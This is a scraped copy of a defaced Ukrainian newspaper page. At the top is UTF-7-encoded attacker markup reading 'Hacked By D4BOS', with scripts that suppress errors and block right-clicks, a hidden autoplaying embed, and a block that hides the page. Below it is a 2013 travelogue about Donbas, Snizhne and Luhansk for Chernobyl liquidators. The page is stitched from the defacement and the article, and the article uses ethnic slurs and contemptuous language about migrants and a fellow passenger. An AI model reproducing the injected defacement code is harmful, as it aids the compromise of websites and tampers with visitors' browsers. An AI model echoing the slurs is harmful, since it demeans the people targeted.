+ADw-/title+AD4 +ADw-script language+AD0AIg-JavaScript1.2+ACIAPg function ClearError() +AHs-return true+ADsAfQ window.onerror +AD0 ClearError+ADs +ADw-/script+AD4 +ADw-title+AD4AfA 0wn3d+ADw-/title+AD4 +ADw-html+AD4APA-/head+AD4 +ADw-title+AD4-Hacked By D4BOS+ADw-/title+AD4 +ADw-head+AD4APA-link rel+AD0AIg-shortcut icon+ACI href+AD0AIg-http://img.webme.com/pic/i/iconvar/turk-b-11.png+ACI-/+AD4APA-/head+AD4 +ADw-body bgcolor+AD0AIg-black+ACIAPg +ADw-center+AD4APA-br+AD4APA-br+AD4 +ADw-div class+AD0AIg-imagehold+ACIAPg +ADw-img src+AD0AIg-https://i.hizliresim.com/2rXYqL.jpg+ACI alt+AD0AIg-width+AD0AIg-600+ACI height+AD0AIg-450+ACI style+AD0AIg-padding-top:0px+ACI-/+AD4APA-br+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:12pt Courier New+ADsAIgA+ADw-b+AD4APA-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPgA8-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:9pt Courier New+ADsAIgA+ADw-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:12pt Courier New+ADsAIgA+ADw-b+AD4-Hacked By D4BOS+ADw-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPgA8-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:9pt Courier New+ADsAIgA+ADw-/b+AD4APA-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:15pt Courier New+ADsAIgA+ADw-b+AD4-D4BOS+ADs-Taktik yok bam bam +ADw-/b+AD4APA-img width+AD0AIg-20+ACI src+AD0AIg-https://www.emojibase.com/resources/img/emojis/apple/x1f52b.png.pagespeed.ic.kmplwnKCyI.png+ACIAPgAm-nbsp+ADsAPA-img src+AD0AIg-https://www.emojibase.com/resources/img/emojis/apple/x1f52b.png.pagespeed.ic.kmplwnKCyI.png+ACI width+AD0AIg-20+ACIAPgA8-br+AD4 +ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:grey+ADs-font:12pt Courier New+ADsAIgA+-DeadlyCrew.info+ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:11pt Courier New+ADsAIgA+ADw-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPg +ADw-/font+AD4APA-font color+AD0AIgAj-545454+ACIAPgA8-/font+AD4APA-/div+AD4APA-br+AD4APA-/div+AD4APA-/b+AD4 +ADw-b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:9pt Courier New+ADsAIgA+ADw-b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:15pt Courier New+ADsAIgA+-d4bos.wordpress.com+ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-p align+AD0-center style+AD0AIg-text-align:center+ACIAPgA8-b+AD4APA-br+AD4 +ADwAIQ—hacked by D4BOS–+AD4 +ADw-/body+AD4 +ADw-embed src+AD0AIg-http://www.youtube.com/v/uCrm9RghRjU?version+AD0-3+ACY-amp+ADs-hl+AD0-en+AF8-US+ACY-amp+ADs-rel+AD0-0+ACY-amp+ADs-autoplay+AD0-1+ACI type+AD0AIg-application/x-shockwave-flash+ACI width+AD0AIg-1+ACI height+AD0AIg-1+ACI allowscriptaccess+AD0AIg-always+ACI allowfullscreen+AD0AIg-true+ACIAPgA8-/embed+AD4 +ADw-SCRIPT LANGUAGE+AD0AIg-Javascript+ACIAPgA8ACE— // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg var isNS +AD0 (navigator.appName +AD0APQ +ACI-Netscape+ACI) ? 1 : 0+ADs var EnableRightClick +AD0 0+ADs if(isNS) document.captureEvents(Event.MOUSEDOWN+AHwAfA-Event.MOUSEUP)+ADs function mischandler()+AHs if(EnableRightClick+AD0APQ-1)+AHs return true+ADs +AH0 else +AHs-return false+ADs +AH0 +AH0 function mousehandler(e)+AHs if(EnableRightClick+AD0APQ-1)+AHs return true+ADs +AH0 var myevent +AD0 (isNS) ? e : event+ADs var eventbutton +AD0 (isNS) ? myevent.which : myevent.button+ADs if((eventbutton+AD0APQ-2)+AHwAfA(eventbutton+AD0APQ-3)) return false+ADs +AH0 function keyhandler(e) +AHs var myevent +AD0 (isNS) ? e : window.event+ADs if (myevent.keyCode+AD0APQ-96) EnableRightClick +AD0 1+ADs return+ADs +AH0 document.oncontextmenu +AD0 mischandler+ADs document.onkeypress +AD0 keyhandler+ADs document.onmousedown +AD0 mousehandler+ADs document.onmouseup +AD0 mousehandler+ADs //–+AD4 +ADw-/script+AD4APA-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

Газета Всеукраїнської Спілки ліквідаторів-інвалідів "Чорнобиль-86". Всеукраїнський часопис для інвалідів Чорнобиля, ліквідаторів, чорнобилян.
07.06.2013, рубрика "Статті"

ВДРУГЕ В ДОНБАСІ, ВПЕРШЕ НА «ХЮНДАЇ»

Якщо взимку гостювати в Донбасі було якось боязко, то влітку – зовсім інші справа. Придбавши квиток у купе (за якихось 210 гривень, без черги, у касі попереднього продажу) вже ввечері сиджу у вагоні.

Душно, парко. У купе – двоє попутників. На нижніх полицях – міцна стать. Я й мужик середнього віку, худий та мовчазний. З усього багажу – тоненький кульочок. Зняв теніску і з голим торсом пролежав аж до Дніпропетровська.

Значно цікавішим персонажем мандрівки виявилась дебела, тлуста п’яна дівка з двома сучасними дорожніми валізами. Валізи дівці занесли, сама вона кудись чкурнула й з’явилася, коли потяг був уже на Київщині. Як її звали, не знаю, поводила себе грубо, вночі слухала музику в МП-3-плеєрі, тринділа по мобілці, доки не поснула. Коли ж Морфей нарешті здолав це не зовсім миле створіння, навушники вислизнули з пухких рук і впали на мене. Поруч приземлився плейєр. Якби не НТР, можливо, дівка мандрувала б касетним магнітофоном. Щоб тоді залишилося від моєї голови? Хороша річ прогрес.

Знайшовши втрачене причандалля, дівка знову поринула в сон. Хропла гірше за мужика. Може краще музика? Хоча російська попса – хіба це музика? Чого вона не могла слухати Поля Моріа чи Джеймса Ласта?

Як вона не виригала на мене?

Вранці цю фарбовану блондинку довго не міг розбудити й підняти провідник-азіат. Не татарин, я цікавився. Значить, узбек. 15 хвилин до Донецька, а вона ще лежить…А їй же ще до Горлівки пертися…

Столиця Донбасу зустріла мене яскравим сонцем. На майданчику коло вокзалу вже стояв автобус до Сніжного, але ніде було діти багаж, тож довелось чекати.

Нарешті умостився й рушили на схід.

ДОНЕЦЬКІ «ПРИКОЛИ»

Влітку Донецьк виглядає краще, ніж похмурої зими.

Розсмішили дві вивіски. Великими літерами: «РІЖКИ ТА НІЖКИ». Нижче – «Мясо из села». Двуязичіє… І державна мова, й регіональна присутня. Очевидно верхній рядок таки потрібен для креативу…

Їдемо далі. Занедбана велична будівля епохи розвиненого соціалізму. З фасаду злетіла половина кахлів. Напис великими літерами: «Донецький м’ясний завод». Чомусь м’ясо в Донецьку не асоціюється з Росією й тому озвучується ненависною українською мовою.

Дістаюся Сніжного. Вулицею містечка крокують школярі, приблизно десяти років. Вони у червоних піонерських галстуках, з ними двоє вчительок. Переходячи вулицю, перекривають її, збоку від колони стає дитина з червоним прапорцем. Як справжні вояки!

Раптом вчительки подають команду, й дітлахи починають співати радянську патріотичну пісню. Співають не дуже голосно, та завзято. Тоді завертають за ріг і зникають.

З’являється Андрій Черевко. Разом заходимо до мерії. Відбувається розмова з секретарем міськради Оленою Петрухіною. Повновида жінка з довгими нігтями. Все життя прожила в Сніжному, тут і працює й виїздити нікуди не збирається. Ні в Донецьк, ні в Дніпропетровськ, ні навіть до Києва. Чудово розуміє шахтарів, бо має освіту гірничого інженера. З копанками бореться, але результати борні її не влаштовують.

Наступного дня – 9 травня. На Донбасі воно відзначається з особливим розмахом. Зранку вервечки машин тягнуться до Савур-могили. Їдемо туди на авто Миколи Щербакова з його тезкою – місцевим краєзнавцем Бривком. Добре, що на машині закріплене запрошення. Проходимо декілька кордонів міліції й зупиняємось. Залишаємо машину й крокуємо. Вся місцевість перед курганом вкрита наметами. Одна частина людей вже святкує – за пластиковими столами, інша шикується коло сцени. Зі спиртних напоїв – лише пиво. Ні горілки, ні вина. Соки, мінеральна вода. Багато дітей різного віку. Свято сімейне. Люди спокійно сидять, спілкуються. Ніяких сварок, суперечок.

Крім їжі, продається багато сувенірів – символіка партії регіонів, донецького «Шахтаря». У Колі Бривка запалали очі, коли він побачив гарні модельки літаків епохи Другої світової війни – наші та німецькі. Щоправда, ціни «кусаються», близько ста гривень.

Починається мітинг. Священик для чогось разів 20 вимовляє «Христос воскресе!». Траурний молебень. На щоглах – прапори Донецької області та сучасної України. Не подобається мені прапор Донеччини, якийсь він зловісний, депресивний…Верхнє поле символізує схід України. Нижнє — вугілля, землю, нічне Азовське море з золотими (жовтими) відблисками. Таке враження, ніби це боротьба добра та зла. Сонце над Мордором…

Перед присутніми виступають мер Сніжного Олександр Доронін, народний депутат України Андрій Пономарьов, заступник голови Донецької ОДА Валерій Лукашенко, ветеран війни Клавдія Королева, учень 11 класу місцевої школи № 1 Максим Слепченко,

Колони рушають до Савур-могили. Присутні всі організації міста – шахти, заводи тощо. Вздовж дороги стоять школярі з прапорцями. Дехто відверто нудьгує. Сонце пече, надворі близько 30 градусів спеки. Дітей трохи шкода, та що поробиш? Традиція.

Досить мало прапорів партії регіонів. Штук десять. Дуже блідо на мітингу представлена компартія. Лише три прапори. Нікому з місцевих комуняк не дали слова на мітингу. Воно й правильно. Це що – їхня перемога? Тоді нехай відповідають і за 1939-1942 роки, за пакт Молотова-Ріббентропа, Фінську війну, зруйнований Київ, невдачі під Харковом та блокадний Ленінград, а не лише святкують травень 1945-го.

Колони трудящих піднімаються високими сходами, підходять до Вічного вогню, кладуть квіти. Дехто фотографується на пам’ять. Тоді демонстранти огинають монумент і спускаються донизу. Тепер у кожного своя програма. Одні всідаються святкувати за столиками, інші прямують додому.

Усе це чудово, але на все товариство – одна громадська вбиральня. Куди ж подінеться випите пиво?

В одній з альтанок відбувається зустріч міського голови Сніжного Олександра Дороніна з дітьми війни та головами місцевих осередків ветеранів війни.

Микола Щербаков везе нас до Ремівського храму. Вся дорога до Савур-могили вкрита машинами. Одні їдуть, інші стоять на узбіччі. Нам назустріч прямує колона байкерів з російськими прапорами. Однак не зрозуміло, чи це улюбленці Путіна, чи звичайні російські мотоциклісти. Ми прагнули зупинитися й оглянути половецьку бабу на одному з курганів, але припаркуватися ніде. Та й справа по ходу - рівчак.

Ремівський храм гарний, затишний. Може тому, що зведений з дерева, а не каменю. В середині приємна прохолода. Отець Валерій Щигельський займається благодійністю, допомагає дітям, сиротам. Впорядкував місцеве джерельце великомученика та цілителя Пантелеймона, до якого з усього району їдуть за водичкою. Зробив купальню. При церкві діє недільна школа «Духовний росток». Це єдиний батюшка в області (а може й в усій Україні?), хто не має власної машини. Їздить маршрутками. Київські попи довго б реготали із цього приводу… Намісник Києво-Печерської Лаври єпископ Павло «розсікає» на «мерині» й носить золоті годинники. Йому варять, перуть і прасують. Щоб б сказав із цього приводу Феодосій Печерський, принциповий і вимогливий?

Але тут, в українській глибинці й проявляється справжня віра. Якби шахтар, втомлений після зміни, зустрів би попа із золотими прикрасами, айфонами та айпадами, то краще пішов би до шинку, а не в церкву. Поруч із териконами кафедральний собор із золотими банями недоречний, як і священик на представницькому авто…

Отець Валерій взагалі цікава людина. Прийшов до Бога у зрілому віці, до цього займався бойовими мистецтвами. У кожного свою дорога до Бога та Храму.

В день перемоги хочеться зустрітися з ветеранами, бажано з тими, хто звільняв Донбас. Науковий працівник Музею бойової слави Сніжного, й за сумісництвом, дружина Миколи, Ольга Бривко рекомендує нам двох людей – Олександра Росомаху та Василя Правду.

Важко уявити собі двох настільки різних людей. Обидва фронтовики, обидва герої…Олександр Росомаха – прикордонник. 94 роки! Слух уже підводить, а пам’ять ні! Шкутильгає, але рухається самостійно. Чудово розповідає про Другу світову! Боровся із німцями на Кавказі, на Західній Україні викурював бандерівців. Дійшов до посади замполіта прикордонної застави, після демобілізації у званні підполковника до 69 років працював на різноманітних господарських посадах у Сніжному. До 88 займався громадською діяльністю. 19 років очолював ветеранську організацію Сніжного. Живе у старезній маленькій одноповерховій хаті з дружиною. Особисто зустрічався з Януковичем, має наручний годинник від Кучми. Віктора Федоровича Януковича хвалить, про Леоніда Даниловича говорить якось скупо, стримано.

Високий, жилавий, завзятий, хитро мружиться. Зовні справді нагадує росомаху – надзвичайно лютого хижака, який при вазі до 32 кг може відігнати від здобичі бурого ведмедя, пуму чи вовка! Росомаха чудово лазить по деревах. Взимку покриває до 45 км за добу. Може підтримувати рух галопом тривалий період, іноді переміщуючись 10-15 км без відпочинку. У Петровича відчувається сила волі, цілеспрямованість. Він би й зараз постріляв у ворогів держави…

Василь Правда зовсім інший. Невисокий, скромний, непоказний. Живе у старій «хрущовці» один. Дружина померла. Душа Василя Федоровича весь час розривалася між Полтавщиною і Донеччиною. Він лірик, його очі світяться любов’ю до людей. Говорить тихо. Йому незручно докладно розповідати про себе, хоча в місті він займав вищі посади, ніж Росомаха. Правда був головним інженером ДП «Сніжнеантрацит». Під час війни – сапер. Був на примусових роботах в Німеччині. Міг би сидіти у оргвідділі при штабі, в теплі, своїм каліграфічним почерком виводити літери, дослужився б як мінімум до майора… Керівництво військової частини не хотіло його відпускати, пропонувало перевезти до Німеччини й влаштувати всю його рідню, але він відмовився. Й повернувся на Донбас. Його не цікавила зарплата, кар’єра. Василь Федорович хотів допомогти своїй батьківщині вдома, а не на чужині. Уявляю, в яких жахливих умовах люди жили після війни тут, якщо навіть у Києві в ті часи дехто мешкав у землянці, яку сам же собі й вирив!

Вся квартира Василя Правди заставлена книжками. В кожній з кімнат по декілька шаф. Відчувається, що людина роками ретельно збирала власну бібліотеку. Не для того, щоб просто заповнити житлову площу, вона їх читала. Більшість книжок – художня література. Чудові зібрання творів Гоголя, Сервантеса, інших класиків. Окремі, журнальні видання Солженіцина. От скажіть мені, навіщо мешканцеві Донбасу читати Олександра Ісаєвича? Це ж антирадянська література! Цього точно ніколи не читав Олександр Росомаха…А от Василь Правда шукав правди у цих творах. Щоправда, придбав він їх уже під час «перебудови». Є й наукові твори – «История Великой Отечественной войны» в десяти томах!

Обидва ветерани залюбки читають спогади про війну, в якій брали участь. Василь Правда це робить більш фундаментально.

Миколі Щербакову набридло нас чекати й він чкурнув додому. А ми з іншим Миколою, Бривком все слухали літню порядну людину, яка прожила життя чесно. Пройшовши страшну війну, переживши окупацію, Василь Правда не перестав вірити в людей і бачить в них лише хороше.

Наступного дня Андрій Черевко відвозить мене до Луганська й знайомить із Олексієм Демченко, керівником Луганського обласного осередку Всеукраїнської спілки ліквідаторів-інвалідів «Чорнобиль-86».

Але тема війни не відпускає. Діда Олексія Олексійовича, Володимира Семеновича Демченка, підполковника військової розвідки, бандерівці розпиляли на пилорамі десь у селі під Стриєм. Всю війну пройшов, а загинув не від німців, а від націоналістів. Рідні скільки не намагалися довідатися правду про ту історію, чіткої відповіді не отримали.

Олексій Олексійович починає розповідь про свій край із… міського кладовища. Тут поховані не лише місцеві керівники, на кшталт Володимира Шевченка (1918–1996, перший секретар Луганського обласного комітету Компартії України з 1961 по 1973 роки. Учасник партизанського руху на Луганщині в роки німецько-радянської війни. При ньому в Луганську побудовані сучасний автовокзал, аеропорт, Сіверодонецький палац спорту) а й… місцеві кримінальні авторитети. Підходимо до могили найвидатнішого. Доброславов Валерій Юрійович. Людина, яка була найвизначнішим «хрещеним батьком» на Луганщині. Ніколи місцевий кримінал не мав такого яскравого лідера. Саме «Доброслав» міг зупинити наступ донеччан на місцеві «ласі шматки». Він був меценатом, при ньому в Луганську вперше дала концерт Алла Пугачова та інші зірки естради. Допомагав знедоленим, чорнобильцям. Але в 1997 році його вбили. Він почав просто заважати – і своїм і чужим. Валерій Юрійович не хотів налагодити наркотрафік з Ростова через Луганськ і не дожив навіть до сорока років. Подейкують, його прибрали руками есбеушників. А трафік таки пішов. На його поховання прийшли не лише ті, хто своєю кар’єрою був йому зобов’язаний, а й прості люди, яким він допоміг вирішити проблеми у буремні роки.

На місці загибелі Валерія Доброславова встановлено пам’ятник – крило. На місці його поховання – мармуровий лев. Чиясь дбайлива рука підкладає свіжі квіти.

Далі Олексій Олексійович демонструє Луганську обласну лікарню №2, де лікують чорнобильців. Вигляд у споруди жалюгідний. Плитка обвалюється, в середині – дешеві меблі. Ліки треба приносити з собою. Не так було, коли тут лікувалися радянські партійні бонзи…Гарними виглядають хіба що лавочки – чавунні, масивні, з гарними візерунками. Непогана сучасна міні котельня. Але навіть добиратися сюди чорнобильцям незручно. Маршрутники не хочуть сюди везти безкоштовно, а пройти навіть два кілометри власними ногами не всі спроможні…

Одразу після аварії в області мешкало 18 тисяч ліквідаторів та постраждалих від аварії на ЧАЕС… Олександр Єфремов, голова фракції партії регіонів у Верховній Раді фактично кинув ліквідаторів напризволяще. Доки був губернатором на своїй рідній Луганщині, принаймні вислуховував, обіцяв, співчував. Як перебрався до Києва – забув усі обіцянки, і разом з Тигіпком повторює «мантри»: чорнобильці – аферисти, повибивали собі через суди великі пенсії, дармоїди, лише на них потрібно 60 мільярдів гривень. Таким чином одних знедолених натравлюють на інших. Мовляв, дамо чорнобильцям грошенят, тоді на інвалідів не вистачить. Зате на конкурси краси гроші завжди знаходять!

Трохи краще виглядає інша обласна лікарня, особливо її поліклініка…

Шкода закритих заводів, наприклад «Емаль». На одному з них напис: «ПРОДАМ». І номер мобільного телефону. Я за все життя ще не бачив, щоб цілий завод продавали ТАКИМ ЧИНОМ!

Поїздивши півдня Луганськом, я майже закохався в це містечко. Воно значно менше Донецька, в ньому менше новобудов, зате якась провінційна доброта, затишок, тиша. Вулички без «корків», алеї з каштанами. Ніяких сирен, скавчання гальм…

Гарні торгівельні центри «Россия», «Кристалл». Меморіал борцям революції.

Транспорт нормальний, от тільки трамваї… кумедні. Схожі на труни. Спереду й ззаду звужуються. Всі однаково старі, щоправда, одні вкриті свіжою фарбою, інші обдерті. Хоча у Луганську виробляються тепловози, трамваї, запасні частини для автомобілів і тракторів.

Будинок культури імені Леніна. Пам’ятник Іллічу коло парадного входу. Тут все гарно, вилизано, під ногами – чудова тротуарна плитка. А боковий вхід – в жахливому стані.

У Луганську дуже багато аптек та нотаріальних контор. Кажуть, це звичайнісіньке відмивання коштів.

На вулицях повно негрів та азіатів. Негри вчаться на медиків. Значна частина прибульців додому не повертається. Знаходять місцеву дурепу й торгують дрібним крамом.

У місті 87 промислових підприємств. Понад половину підприємств мають недержавну форму власності. Провідна галузь – машинобудування.

Надзвичайно гарний готель «Україна», збудований за проектом Йосипа Каракіса – геніального архітектора, який залишив у Києві споруди Національного історичного музею, будинку офіцерів, дитячий садок заводу «Арсенал», купу гарних житлових будинків. Під керівництвом Вербицького будував Київський вокзал.

Цікаво мандрувати вулицями Жовтневого району – найбільшого у місті. Тут розташований Луганський тепловозобудівний завод, де колись починав свою трудову діяльність на посаді слюсаря майбутній «перший маршал» країни Рад, чмошник Клім Ворошилов. .

У Луганська є місто-супутник під назвою Щастя, де на площі трохи більше кілометра мешкає майже 14 тисяч осіб. Яке може бути при цьому щастя?

Люди походженням чи діяльністю пов'язані з Луганськом

Олексій Абакуменко — український авіатор-випробувач, військовик Російської імперії (штабс-капітан), повний Георгіївський кавалер.

Бубка Сергій — легкоатлет.

Голобородько Василь — письменник. Лауреат Національної премії ім. Т. Г. Шевченка.

Даль Володимир — український та російський письменник і лексикограф.

Єненко Юрій — лікар, письменник і культурний діяч. Заснував альманах «Бахмутський шлях», відновив музей Бориса Грінченка, вів радіопередачі «Літературна карта Донбасу», доклав зусиль на створення міського Українсько-канадського центру «Відродження».

Іванов Петро — український поет, перекладач, батько українського кіноактора Сергія Іванова. («Кузнєчік» у стрічці Леоніда Бикова «У бій ідуть самі «старики»)

Жадан Іван — український і російський оперний співак, тенор.

Жадан Сергій — український письменник, автор роману «Ворошиловград».

Микола Малашко — очолював Повітову Луганську Раду за доби Української революції.

Овчаренко Ілько — скульптор. Автор пам'ятників: Володимиру Сосюрі (Лисичанськ, 1966), «Україна — визволителям» (Мілове, 1972), Володимиру Далю (Луганськ, 1976).

Половинко Григорій — історик, письменник, лідер сучасного місцевого українського козацтва.

Ситник Костянтин — український науковець, ботанік, академік НАН України, батько шоумена Миколи Вересня.

Скритуцький Костянтин — дизайнер та скульптор. Автор Пейзажної алеї та скульптури Їжачка в тумані (Київ).

Сосюра Володимир — український письменник, поет-лірик (його мати родом з Луганська.)

Стахів Євген — провідник націоналістичного підпілля у місті в роки Другої Світової війни.

Шевчук Святослав — предстоятель Української греко-католицької церкви. Служив фельдшером два роки в окремому батальйоні аеродромного обслуговування Луганського (Ворошиловградського) ВВАУШу.

Шматько Микола — видатний український скульптор, художник, Створив більше 750 пам'ятників (барельєфи, горельєфи, скульптури) і близько 500 картин. Шматько працює вже понад тридцять років, прославляючи образ жінки, матері, краси. У 2004 році Миколі Гавриловичу доручили створити і втілити в мармурі скульптуру Святогірської Богородиці для Святогірської Лаври. заввишки 4,20 м. Скульптура була висічена з 2 блоків уральського мармуру вагою 40 тонн.

Восени 2005 року відбулося відкриття відбудованої Преображенської церкви в селі Келеберда Полтавської області, де встановлена скульптура «Розп'яття Христа».

Єдиний хороший вчинок Олександра Єфремова на посаді губернатора Луганщини – саме він запросив до Луганська працювати Миколу Шматька.

У 2007 році нагороджений медаллю «Лоренцо Прекрасний Медічи» за зайняте 4-те місце на Флорентійському Бієналле. Уперше така висока нагорода дісталась українцеві. Нагородили за три скульптури: «Лугань», «Білл Ґейтс» і «Поклоніння диску».

«ПОВЗУЧА» УКРАЇНІЗАЦІЯ

Як би не хотілося біло-блакитним, а Луганщина – українська територія. Колишні землі Кальміуської паланки Запорозької Січі. Першими поселенцями області були українці. Цього не заперечує навіть російська «Вікіпедія». Це вже потім «понаїхали» росіяни-робітники. Половина населення Луганська – етнічні українці. Хоча й близько Луганщина до Росії, а ще не Росія. Українських назв значно більше, ніж в Донецьку. Наприклад, над дорогою висить гасло на розтяжці: «Вітаємо зі святом!». У Донецьку з перемогою вітають лише мовою іноземної держави…

Назви банків часто пишуться українською мовою. В Луганському українському драматичному театрі працює Михайло Голубович. Хоча й продався регіоналам, а українську мову не забув, час від часу знімається в україномовних стрічках. Чудове приміщення дитячого лялькового театру милує око.

Та найбільше мене вразила одна аптека, коло автовокзалу. Коли провізор вже мав роздрукувати чек, на табло касового апарату раптом висвітлилося слово «ПІДСУМОК». В Києві пишуть «Всього» чи «Усього», це – русизм, а тут – чудовий український відповідник!

ДИВА РУСИФІКАЦІЇ

Майже в усіх школах навчання ведеться російською мовою. Викладання українською мовою здійснюють у трьох школах, розташованих на околиці міста (школи № 21, № 31 та № 59), де загалом навчають 845 учнів (для порівняння — у 1935 році в Луганську було 25 шкіл, з них 22 були україномовними і 3 — російськомовними).

Загалом в українських класах навчається лише 13 % учнів, у російських — 87 %.

Міносвіти України та обласна адміністрація спричиняють тиск на батьків задля обрання ними викладання російською мовою.

Як повідомляє українська «Вікіпедія», в адресовому плануванні місто складається з вулиць, майданів, провулків, тупиків, кварталів та ліній.

Останні мало поширені в інших містах України. Їхнім прототипом дехто вважає аналогічну систему з 29 ліній у Петербурзі на Васильєвському острові. 48 пронумерованих луганських ліній було закладено за доби Російської імперії, як мережу умовно паралельних «вулиць», при чому кожна лінія була тільки одним боком того, що прийнято називати вулицями. Сучасна система ліній, після років радянської влади, суттєво втратила свою цілісність, нумерацію ліній було зведено до вуличної, об'єднавши суміжні лінії, тож їхня кількість скоротилася вдвічі, значну частину ліній було перейменовано на вулиці на честь переважно комуністичних діячів.

Інша дивина – назви вулиць.

Луганськ має специфічні назви вулиць, що не існують в інших містах України та є протизаконними, оскільки суперечать чинному закону «Про мову в Українській РСР»:

Стаття 38. Мова топонімів і картографічних видань

В Українській РСР топоніми (назви населених пунктів, адміністративно-територіальних одиниць, вулиць, майданів, річок і т.ін.) утворюються і подаються українською мовою.

Однак, згідно з рішенням шостої сесії Луганської міськради 24-го скликання від 24 грудня 2002 року, офіційні українські назви значної кількості вулиць і провулків, навіть тих, що питомо українського походження, перетворені на назви російською мовою, записані українськими літерами, зокрема:

Провулки

18-го Партс’єзда,

1905 года,

1-й Бєлорусскій,

1-й Кірпічний,

5-й Садовопроєздной,

Сєвєрозападний,

Братьєв Сєродєдєнко,

Кримскій,

1-й Товаріщєскій,

1-й Пятілєткі,

Астрономічєскій;

Вулиці

Совєтская,

300-лєтія Воссоєдінєнія,

40-лєтія Октября,

50-лєтія Образованія СССР,

Лучістая,

Звьоздная,

Самольотная,

2-я Ізвєстковая,

Тіхоокєанская,

Камєнная,

Опитноє полє,

Алєксандра Нєвского,

Юних Піонєров,

Маяковского;

Рєволюциі,

Паріжской Коммуни,

Квіткі-Основ’янєнко,

Коцюбінского,

Гулака-Артємовского,

Грушевского,

Кармєлюка,

О. Кобилянской,

П. Мірного,

Остапа Вишні,

Украінская,

Шевчєнко Т. Г.,

Шевчєнко В. В.,

Лесі Українкі;

Квартали

Дзєржинского,

50-лєтія Октября,

Гєроєв Брєстской крєпості;

тупики:

6-й Короткій,

Бєлая Будка (!); та ін.

Проте, «перекручені» назви так і не прижилися. Наприклад, вулицю Совєтская в рекламі, на дороговказах, вивісках називають Радянська, Совєтська, Советська.

Лише в офіційних документах специфічні назви вживають доволі послідовно.

Останнім часом подібні незаконні випадки в Луганській області дедалі частішають, особливо щодо назв населених пунктів, серед них — Сіверодонецьк (нині як «Сєвєродонецьк») та Ірмине (нині як «Ірміно»).

Це як у нас, в столиці пишуть «Сбербанк Росії». Треба або «Сбербанк России», або «Ощадбанк Росії».

ПОВЕРНЕННЯ НА РУСЬ

Донбас немов не хотів мене відпускати. На травневі свята квитків у касах не було. Ні на автобус, ні на потяг. Ми з Олексієм Олексійовичем в спеку носилися між авто-і залізничним вокзалами, але транспортне начальство відпочивало, зняти бронь було просто нереально. Квитків на Київ не було ні на сьогодні, ні на завтра.

Одного разу нам запропонували за 800 гривень проїхатися Києва в СВ. Тоді виникла інша пропозиція – дістатися потягом із Луганська до Слов'янська, а звідти – «Хюндаєм»…

Як людина, яка сидить в Інтернеті щодня багато годин, я пам’ятав багато подробиць зимових подорожей корейським «дивом»… То воно замерзало, то потяг неможливо було зняти з гальм, то згоряла силова підстанція… Потяги чомусь зупинялися коло Лозової й далі рухатися не хотіли…

Але ж надворі літо, обмороження не передбачається… І яка ж це спокуса й випробування – вперше в житті проїхатися швидкісним потягом!..

Від Луганська до Слов’янська квиток – 53 гривні, 32 копійки. Далі – за якихось 300 гривень 70 копійочок обіцяли доставити до столиці.

О 17.22 потяг рушив на північ.

Виявилося, що я їхатиму до Слов’янська потягом «Луганськ-Київ». Чому ж тоді немає квитків? А тому що місцеві використовують цей потяг, як електричку. На кожній станції люди заходили й виходили.

Провідник навіть образився на мене за те, що я не захотів вирішити проблему через нього, а продовжу подорож корейським потягом.

Грандіозне враження справив на мене Алчевський металургійний комбінат. Ми півгодини їхали повз нього. Це як майстерні Сарумана із «Володаря кілець». Дим, кіптява і колючі дроти на парканах. Робітників не видно, вони десь в середині.

На станції Краматорськ у приміщенні вокзалу ввечері 10.05.2013 року Божого не світилося жодне віконечко. Боялися бомбардувальників НАТО?

Нарешті дістаюся Слов’янська. Проводжаю поглядом потяг, яким міг би дістатися оселі…21-а година, темно, але не холодно.

Тутешній вокзал гарний, весь залитий світлом, чистий. Бомжі тут не ночують, як у Києві.

Взагалі місто мені сподобалося. На відміну від українського поета Антона Чехова:

У травні 1887 року він написав: «Город — нечто вроде гоголевского Миргорода; есть парикмахерская и часовой мастер, стало быть можно рассчитывать, что лет через 1000 в Славянске будет и телефон. На стенах и заборах развешены афиши зверинца, под заборами экскременты и репейник, на пыльных и зеленых улицах гуляют свинки, коровки и прочая домашняя тварь. Дома выглядывают приветливо и ласково, на манер благодушных бабушек; мостовые мягки, улицы широки, в воздухе пахнет сиренью и акацией; издали доносится пение соловья, кваканье лягушек, лай, гармоника, визг какой-то бабы…» («ВІкіпедія»)

Перекусивши хлібом та сардельками, дочитав журнал «100 битв, которые изменили мир», де йшлося про битву при Хаттіні 1187 року.

«Хюндай» з’явився точно за розкладом простояв дві хвилини. Заходити до нього можна лише через три вагони, що не зовсім зручно. Людей багато, і всі з клумаками. Мені – до четвертого вагону, другий клас.

У руках дві сумки, покласти їх майже нікуди. Багажний відсік заповнений, над сидіннями лише невеличкі ніші. Більшу торбу у нішу, меншу – собі під ноги.

З одного боку два ряди сидінь, з іншого – три. Я сиджу коло вікна, й поруч сплять двоє різностатевих попутників. Мій ряд сидить спиною до руху потягу, навпроти – навпаки.

Спати не можна – в очі б’є денне світло. Воно не вимикається. Двері до вагону відчиняються доторком руки. Фотоелемент реагує на тепло людського тіла.

